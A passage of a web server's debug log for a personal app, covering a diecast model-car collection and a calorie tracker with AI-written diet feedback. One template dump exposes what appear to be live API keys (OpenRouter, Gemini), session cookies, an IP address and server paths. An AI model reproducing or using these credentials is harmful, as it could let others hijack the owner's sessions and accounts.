      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 110,
      model_name: 'Volvo FMX low bed truck Trailor',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-16T18:30:00.000Z',
      price: '750.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 109,
      model_name: 'Volvo excavator EC950F',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-24T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2025-12-24T11:09:59.879Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2025-12-24T11:09:59.880Z server-connect:app Executing action step select
2025-12-24T11:09:59.880Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2025-12-24T11:09:59.881Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2025-12-24T11:09:59.881Z server-connect:app Executing action step select
2025-12-24T11:09:59.881Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2025-12-24T11:09:59.882Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2025-12-24T11:10:02.878Z server-connect:router Serving serverConnect /api/diecast/list
2025-12-24T11:10:02.878Z server-connect:app Executing action step identify
2025-12-24T11:10:02.878Z server-connect:app options: { provider: 'security' }
2025-12-24T11:10:02.878Z server-connect:output identity: 1
2025-12-24T11:10:02.878Z server-connect:app Executing action step restrict
2025-12-24T11:10:02.878Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T11:10:02.879Z server-connect:output restrict: undefined
2025-12-24T11:10:02.879Z server-connect:app Executing action step paged
2025-12-24T11:10:02.879Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2025-12-24T11:10:02.883Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 2,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 106,
      model_name: '2018 Honda Civic Type R',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Nightspeed',
      brand_id: 71,
      series_id: 164,
      case: 'A',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 24,
      model_name: '2018 Honda Civic Type R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'P',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2025-12-24T11:13:40.379Z server-connect:app Executing action step identify
2025-12-24T11:13:40.379Z server-connect:app options: { provider: 'security' }
2025-12-24T11:13:40.379Z server-connect:output identity: 1
2025-12-24T11:13:42.116Z server-connect:app Executing action step identify
2025-12-24T11:13:42.116Z server-connect:app options: { provider: 'security' }
2025-12-24T11:13:42.116Z server-connect:output identity: 1
2025-12-24T11:18:50.229Z server-connect:app Executing action step identify
2025-12-24T11:18:50.229Z server-connect:app options: { provider: 'security' }
2025-12-24T11:18:50.229Z server-connect:output identity: 1
2025-12-24T11:18:53.130Z server-connect:app Executing action step identify
2025-12-24T11:18:53.130Z server-connect:app options: { provider: 'security' }
2025-12-24T11:18:53.130Z server-connect:output identity: 1
2025-12-24T11:19:41.569Z server-connect:router Serving templateView /calorie-tracker
2025-12-24T11:19:41.570Z server-connect:app Executing action step identify
2025-12-24T11:19:41.570Z server-connect:app options: { provider: 'security' }
2025-12-24T11:19:41.570Z server-connect:output identity: 1
2025-12-24T11:19:41.570Z server-connect:app Executing action step restrict
2025-12-24T11:19:41.570Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T11:19:41.571Z server-connect:output restrict: undefined
2025-12-24T11:19:41.572Z server-connect:router Render template calorie-tracker
2025-12-24T11:19:41.572Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"5469-qg2PN52ItenESCFz8S7JLbMpMg4"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T04:01:57.381Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"5469-qg2PN52ItenESCFz8S7JLbMpMg4"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-24T11:19:41.799Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-24T11:19:41.800Z server-connect:app Executing action step identify
2025-12-24T11:19:41.800Z server-connect:app options: { provider: 'security' }
2025-12-24T11:19:41.800Z server-connect:output identity: 1
2025-12-24T11:19:41.800Z server-connect:app Executing action step restrict
2025-12-24T11:19:41.800Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T11:19:41.801Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-24T11:19:41.801Z server-connect:output restrict: undefined
2025-12-24T11:19:41.801Z server-connect:app Executing action step single
2025-12-24T11:19:41.801Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-24T11:19:41.802Z server-connect:app Executing action step identify
2025-12-24T11:19:41.802Z server-connect:app options: { provider: 'security' }
2025-12-24T11:19:41.802Z server-connect:output identity: 1
2025-12-24T11:19:41.802Z server-connect:app Executing action step restrict
2025-12-24T11:19:41.802Z server-connect:app options: { provider: 'security' }
2025-12-24T11:19:41.802Z server-connect:output restrict: undefined
2025-12-24T11:19:41.802Z server-connect:app Executing action step single
2025-12-24T11:19:41.802Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-24T11:19:41.803Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-24T11:19:41.803Z server-connect:app Executing action step select
2025-12-24T11:19:41.803Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-24T11:19:41.805Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's food intake appears to be primarily carbohydrate-focused with a moderate amount of protein from the whey supplement and some vegetables. The meal timing seems spread out, which is generally good for sustained energy. However, the overall protein content could be higher to better support muscle development goals, and there's a lack of diverse protein sources.",
    bad_points: [
      'Limited variety in protein sources.',
      'High reliance on carbohydrates, especially from roti.',
      'Potential for lower protein intake to support muscle development.'
    ],
    good_points: [
      'Consistent gym attendance.',
      'Inclusion of fruits and vegetables.',
      'Whey protein supplement for post-workout recovery.',
      'Meals are somewhat spread throughout the day.'
    ],
    suggestions: [
      'Incorporate more diverse protein sources like lean meats, fish, lentils, or paneer into meals.',
      'Consider reducing the quantity of roti and increasing the portion of vegetables or adding a protein-rich side.',
      'Ensure adequate hydration throughout the day.',
      'Aim for protein intake spread more evenly across meals, not just post-workout.'
    ],
    predicted_weight: 69.5,
    rating_judgement: 'Needs improvement',
    predicted_weight_trend: 'Slight downward trend'
  },
  date: '2025-12-23T18:30:00.000Z'
}
2025-12-24T11:19:41.807Z server-connect:output item_list: [
  {
    id: 500,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Jamfal (Guava)',
    calories: 30,
    protein_gm: 1,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: '2 slices',
    replacements: 'Cucumber slices,Watermelon slices,Bell pepper strips',
    created_at: '2025-12-23T19:28:36.000Z',
    skip_level: 1,
    skip_reason: "Jamfal is a good source of Vitamin C and fiber, beneficial for overall health and recovery. It's a low-calorie fruit."
  },
  {
    id: 501,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee (no sugar/cream),Green tea,Small piece of fruit (e.g., half a banana)',
    created_at: '2025-12-23T19:28:36.000Z',
    skip_level: 2,
    skip_reason: "While pre-workouts can provide a boost for intense sessions, they often contain artificial sweeteners, colors, and stimulants. For muscle development, focus on whole foods and adequate sleep. If you feel you need it, ensure it's a high-quality product with minimal additives. Consider if the energy boost is truly necessary for every session or if natural sources can suffice."
  },
  {
    id: 502,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, good for muscle building),Egg whites (pure protein, very low calorie),Greek yogurt (high protein, lower calorie than some whey shakes)',
    created_at: '2025-12-23T22:18:53.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, high protein content, and relatively low in other macros. Ideal for your goals.'
  },
  {
    id: 503,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Poha (mixed with tomato, onion, matar)',
    calories: 200,
    protein_gm: 5,
    carbs_gm: 40,
    fat_gm: 3,
    quantity: '1 serving (approx. 150g cooked)',
    replacements: 'Quinoa Poha (higher protein, more fiber),Oats Poha (more fiber, can be lower calorie depending on preparation),Brown Rice Poha (more fiber than white poha)',
    created_at: '2025-12-23T22:18:53.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates for energy, and the vegetables add fiber and micronutrients. A decent breakfast option for your activity level.'
  },
  {
    id: 504,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Herbal tea (e.g., peppermint, chamomile)',
    created_at: '2025-12-24T01:28:24.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for health, contains antioxidants, negligible calories.'
  },
  {
    id: 505,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Patta Gobi Sabji',
    calories: 90,
    protein_gm: 3,
    carbs_gm: 12,
